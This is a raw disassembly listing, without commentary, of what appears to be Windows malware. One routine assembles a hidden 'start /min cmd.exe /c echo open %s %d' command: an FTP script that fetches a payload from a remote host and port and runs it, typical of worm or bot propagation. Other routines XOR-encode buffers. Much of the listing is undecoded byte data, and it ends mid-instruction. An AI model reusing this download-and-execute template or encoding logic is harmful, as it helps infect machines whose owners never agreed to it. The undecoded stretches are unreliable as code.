dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5F76F7 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 4DE9777Fh, 0D9777E44h, 7F18F6E9h ; --------------------------------------------------------------------------- ja short near ptr byte_437AE8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- db 0BBh db 90h db 0E9h, 0B2h, 0FFh dd 0E9907780h, 7781017Ch, 1FBE990h byte_437AE8 db 81h, 77h ; CODE XREF: ___:00437AD0j ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F1h, 99h ; --------------------------------------------------------------------------- jle short loc_437B6D mov eax, ecx mov dword ptr [eax], offset off_43F1D4 retn 4 ; --------------------------------------------------------------------------- loc_437B01: ; DATA XREF: ___:off_43F1D4o push esi mov esi, ecx call sub_437EBC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_437B17 push esi call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx loc_437B17: ; CODE XREF: ___:00437B0Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- align 10h dd 80FAFBE9h, 0E990DE77h, 777E5424h db 90h ; --------------------------------------------------------------------------- loc_437B6D: ; CODE XREF: ___:00437AF4j jmp near ptr 77C3FA76h ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 487DE990h dd 3D83777Fh, 5109B4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch dd 68C35990h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 79777FF5h, 0F5F9E990h ; --------------------------------------------------------------------------- jg short loc_437C51 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437BDA proc near ; CODE XREF: sub_4199C0+28p jmp near ptr 77C4FA10h sub_437BDA endp ; --------------------------------------------------------------------------- dec ebx ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: ___:00437BD8j ; sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- dd 808DE4E9h, 0E990C577h, 7780733Ch, 810188E9h, 0E9900C77h dd 77809196h, 809516E9h, 0E990E377h, 77809888h, 96AAE990h dd 44E97780h, 0AE77809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh dd 71ECE990h, 4E97780h, 7B778091h, 43ADE990h, 0E990777Fh dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h dd 0FEE9777Eh, 8D77807Bh, 9B30E990h, 0E9907780h, 7780269Bh dd 25C1E990h, 0E9907780h, 778113C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437D4C proc near ; CODE XREF: ___:0043297Cp jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- db 0A9h, 90h, 0E9h dd 777FF01Ch, 8E53E990h, 4517780h, 0F3E692C4h, 9853C12h dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh, 0AD41E226h dd 5653917Ch, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h dd 0D8B9077h, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h dd 90022E81h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2469E42h dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 77801FDEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437EBC proc near ; CODE XREF: ___:00437B04p nop jmp near ptr 77C21868h sub_437EBC endp ; --------------------------------------------------------------------------- db 90h db 0E9h dword_437EC4 dd 777FCF89h, 1FCCE990h, 0DBE97780h, 0F5777FAEh, 7011E990h dd 88E9777Eh, 3977801Eh, 3000068h, 6800h, 25E80001h, 59000000h dd 7EE9C359h, 83778157h, 0C3C3C033h, 72A2E990h, 0E990777Eh dd 777E72D3h, 7FD46FE9h, 0E990E877h, 777FDD80h, 816F16E9h dd 0E9904E77h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h dd 7553E990h, 0F9E975C5h, 6775C684h, 0A029E990h, 9E975C4h dd 6F75C539h, 0F765E990h, 95E975C5h, 275C4DBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23B8CEFh, 8DF4E990h, 0E990023Bh, 23C8098h, 85F7E990h dd 8DE9023Ch, 0A6023D80h, 8086E990h, 0E990023Eh, 23F8080h dd 807AE990h, 0E9900240h, 24096F4h, 4098E3E9h, 69E9E802h dd 28024180h, 83CBE990h, 62E90241h, 4024185h, 8C4AE990h dd 0E9900241h, 2428050h, 804AE990h, 0E9900243h, 2438CADh dd 803EE990h, 0E9900244h, 2448373h, 8032E990h, 0E9900245h dd 246802Ch, 46929AE9h, 0E9907402h, 2469CEEh, 801AE990h dd 2CE90247h, 76024787h, 8DD2E990h, 0E9900247h, 2488008h dd 4884CAE9h, 0E9908802h, 23B8886h, 7FF6E990h, 0E990023Bh dd 23A7FF0h, 897AE990h, 0E5E90239h, 0C002397Fh, 387FDFE9h dd 0E9901302h, 237839Dh, 7FD2E990h, 0E9900237h, 2368A2Dh dd 8271E990h, 0E9900236h, 236819Ch, 7FBAE990h, 74E9022Dh dd 67023681h, 8135E990h, 0E9900236h, 7C4C9095h, 8FA7E990h dd 0E9907C4Ch, 2367F9Ch, 8DDDE990h, 0E9900235h, 2358682h dd 7F8AE990h, 0E9900235h, 23487A2h, 86EBE990h, 0E9E90234h dd 16023484h, 83DBE990h, 42E90234h, 0CA023482h, 7F66E990h dd 0E9900234h, 2338CD3h, 338ADAE9h, 0D7E9CA02h, 0E1023388h dd 338617E9h, 0E9901102h, 2338532h, 7F42E990h, 0A4E90233h dd 0BD02328Eh, 8B5EE990h, 0E9900232h, 2328987h, 863FE990h dd 0E9900232h, 2328301h, 327F1FE9h, 0E9906F02h, 231880Ch dd 87D7E990h, 17E90231h, 80023181h, 317F07E9h, 0ABE9E602h dd 7E02308Ah, 865DE990h, 0F5E90230h, 8802307Eh, 8D9AE990h dd 0E990022Fh, 22F8B95h, 2F8877E9h, 0E990A102h, 22F85FCh dd 7ED6E990h, 0E990022Fh, 22E7ED0h, 0F5C1E990h, 0C5E9001Bh dd 0E102497Eh, 5390C0E9h, 0E9904102h, 24F7EB8h, 537EB3E9h dd 0E990FA02h, 252814Ah, 7EA6E990h, 0E9900252h, 2517EA0h dd 5080FCE9h, 95E91602h, 0BD02507Eh, 8ADAE990h, 0E990024Fh dd 24F87AEh, 8610E990h, 0E990024Fh, 24F83C1h, 824EE990h dd 0E9900249h, 24E8917h, 8499E990h, 0E990024Eh, 24E811Ch dd 7E5EE990h, 0E990024Eh, 24D7E58h, 7E52E990h, 0E990024Ch dd 24B990Fh, 9620E990h, 0E990024Bh, 24B92ECh, 9186E990h dd 0E990024Bh, 24B7E34h, 4A7E2FE9h, 0E9905A02h, 7C608F38h dd 0BD63E990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381DE proc near ; CODE XREF: ___:0042DBE1p jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- db 0F0h dd 686290E9h db 71h, 0A6h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp jmp near ptr 71AB615Ah sub_4381F0 endp ; --------------------------------------------------------------------------- db 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... nop jmp near ptr 71AB428Ah sub_4381F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... jmp near ptr 71AB9639h sub_4381FC endp ; --------------------------------------------------------------------------- inc ecx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 6Fh, 90h, 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438214 proc near jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 0D9h, 90h, 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438220 proc near ; CODE XREF: sub_42E870+187p jmp near ptr 71AB951Eh sub_438220 endp ; --------------------------------------------------------------------------- db 6Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438226 proc near nop jmp near ptr 71AB3E00h sub_438226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43822C proc near ; CODE XREF: sub_42DB00+B1p nop jmp near ptr 71AB2B66h sub_43822C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- dw 0E5E9h ; --------------------------------------------------------------------------- shl dword ptr [edi+71h], 0EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438244 proc near ; CODE XREF: sub_42DA80+10p nop jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438250 proc near ; CODE XREF: sub_434BA0+Bp nop jmp near ptr 71AB94DCh sub_438250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0EEh, 88h ; --------------------------------------------------------------------------- push 0B1E99071h retn 7167h ; --------------------------------------------------------------------------- db 90h db 0E9h, 52h, 0A9h dd 0E9907167h, 7167AA9Bh, 0A9EFE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43827A proc near nop jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E3h, 4 dd 0FEE97168h, 9F7167C1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p nop jmp near ptr 71ABE6EBh sub_43828C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap nop jmp near ptr 71AC0BDEh sub_438292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438298 proc near jmp near ptr 71AB2A5Eh sub_438298 endp ; --------------------------------------------------------------------------- db 0BBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp nop jmp near ptr 71B2578Ch sub_43829E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp jmp near ptr 71B25099h sub_4382A4 endp ; --------------------------------------------------------------------------- db 32h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382AA proc near ; CODE XREF: ___:00426390p nop jmp near ptr 71B2517Fh sub_4382AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_420090+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp jmp near ptr 76BF1F1Ch sub_4382B6 endp ; --------------------------------------------------------------------------- db 39h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382BC proc near ; CODE XREF: sub_420090+21p nop jmp near ptr 76BF3A9Ah sub_4382BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 80h, 0DFh dword_4382CC dd 52E97780h, 767780DEh, 80DE97E9h, 0E9909577h, 7780E040h dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 